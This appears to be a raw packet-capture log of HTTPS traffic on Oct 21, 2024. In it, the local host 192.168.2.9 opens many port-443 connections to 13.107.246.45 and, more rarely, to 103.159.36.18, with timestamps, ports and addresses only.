Oct 21, 2024 13:17:25.693907976 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.693948030 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.694020987 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.694149971 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.694165945 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.725646019 CEST	49677	443	192.168.2.9	20.189.173.11
Oct 21, 2024 13:17:25.738209009 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.738293886 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.738382101 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.738522053 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.738543987 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.738568068 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.738574028 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.741162062 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.741211891 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.741280079 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.742177010 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:25.742196083 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:25.836225033 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:25.836240053 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:25.836287975 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:25.836400986 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:25.836431980 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:25.836446047 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:25.836477041 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:26.396673918 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:26.396683931 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:26.396718979 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:26.396754980 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:26.396783113 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:26.396800041 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:26.396836042 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:26.411556959 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.412184954 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.412219048 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.412856102 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.412864923 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.426954031 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.427442074 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.427457094 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.427797079 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.427804947 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.435285091 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.435684919 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.435714960 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.436027050 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.436036110 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.442586899 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.442961931 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.442986012 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.443293095 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.443300962 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.497953892 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.498691082 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.498718977 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.499177933 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.499186993 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.542335987 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.542392969 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.542526960 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.542530060 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.542583942 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.542692900 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.542692900 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.542716980 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.542732000 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.545418024 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.545466900 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.545551062 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.545705080 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.545721054 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.560532093 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.560750961 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.560874939 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.565259933 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.565259933 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.565277100 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.565287113 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.568099022 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.568146944 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.568245888 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.568448067 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.568463087 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.569286108 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.569355011 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.569427967 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.569597006 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.569613934 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.569628954 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.569633961 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.571675062 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.571719885 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.571801901 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.571907043 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.571922064 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.578293085 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.578356028 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.578403950 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.578511000 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.578525066 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.578567982 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.578572989 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.580600023 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.580636978 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.580720901 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.580925941 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.580940008 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.633137941 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.633205891 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.633325100 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.633335114 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.633395910 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.633562088 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.633585930 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.633598089 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.633603096 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.636657000 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.636703014 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:26.636811018 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.636976957 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:26.636996031 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.296978951 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.297724962 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.297759056 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.298333883 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.298340082 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.308240891 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.308726072 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.308752060 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.309225082 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.309231043 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.317600012 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.317964077 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.317987919 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.318476915 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.318481922 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.331371069 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.331954956 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.331963062 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.332376003 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.332380056 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.408346891 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.409024000 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.409065008 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.409501076 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.409513950 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.432445049 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.432472944 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.432533979 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.432605028 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.432652950 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.432943106 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.432960033 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.432976007 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.432981968 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.436260939 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.436300993 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.436424017 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.436634064 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.436646938 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.439335108 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.439414978 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.439528942 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.439702988 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.439719915 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.439738989 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.439744949 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.442061901 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.442080975 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.442167044 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.442312002 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.442322016 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.449405909 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.449790001 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.449858904 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.449889898 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.449889898 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.449907064 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.449915886 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.452112913 CEST	49794	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.452131033 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.452219009 CEST	49794	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.452367067 CEST	49794	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.452378035 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.466753960 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.466803074 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.466861963 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.466871977 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.466943979 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.467000961 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.467101097 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.467107058 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.467116117 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.467119932 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.469450951 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.469464064 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.469557047 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.469702005 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.469717026 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.542325974 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.542412043 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.542479992 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.542639017 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.542663097 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.542675018 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.542681932 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.546376944 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.546431065 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:27.546502113 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.546690941 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:27.546705008 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.161684990 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.184825897 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.197743893 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.197957993 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.197982073 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.198395014 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.198399067 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.198709965 CEST	49794	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.198715925 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.199093103 CEST	49794	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.199096918 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.199512005 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.199527979 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.199862957 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.199867964 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.205809116 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.207488060 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.207498074 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.213159084 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:28.213171005 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:28.213198900 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:28.213251114 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:28.213263035 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:28.213310957 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:28.219060898 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.219067097 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.301989079 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.304040909 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.304059029 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.305433989 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.305438042 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.323672056 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.323738098 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.323781013 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.324146032 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.324158907 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.324172020 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.324179888 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.325335026 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.325398922 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.325445890 CEST	49794	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.325742960 CEST	49794	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.325752020 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.332278967 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.332335949 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.332377911 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.333733082 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.333743095 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.333800077 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.334026098 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.334036112 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.334589958 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.334599018 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.334609032 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.334613085 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.338483095 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.338507891 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.338563919 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.341758966 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.341768980 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.341837883 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.345148087 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.345156908 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.345177889 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.345345974 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.345396996 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.345648050 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.345653057 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.345662117 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.345665932 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.347059965 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.347073078 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.350106001 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.350136042 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.350192070 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.351191998 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.351205111 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.439997911 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.440083027 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.440157890 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.440722942 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.440747023 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.440762043 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.440768003 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.446180105 CEST	49801	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.446232080 CEST	443	49801	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:28.446304083 CEST	49801	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.446576118 CEST	49801	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:28.446592093 CEST	443	49801	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.066339016 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.066955090 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.066973925 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.067433119 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.067440987 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.080224991 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.080662012 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.080677032 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.081103086 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.081111908 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.095168114 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.095592022 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.095607996 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.096023083 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.096028090 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.099359989 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.099736929 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.099754095 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.100083113 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.100086927 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.183028936 CEST	443	49801	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.183650970 CEST	49801	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.183691025 CEST	443	49801	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.184273958 CEST	49801	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.184288979 CEST	443	49801	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.197729111 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.197801113 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.197876930 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.198050022 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.198069096 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.198081970 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:29.198090076 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:29.200824976 CEST	49802	443	192.168.2.9	13.107.246.45
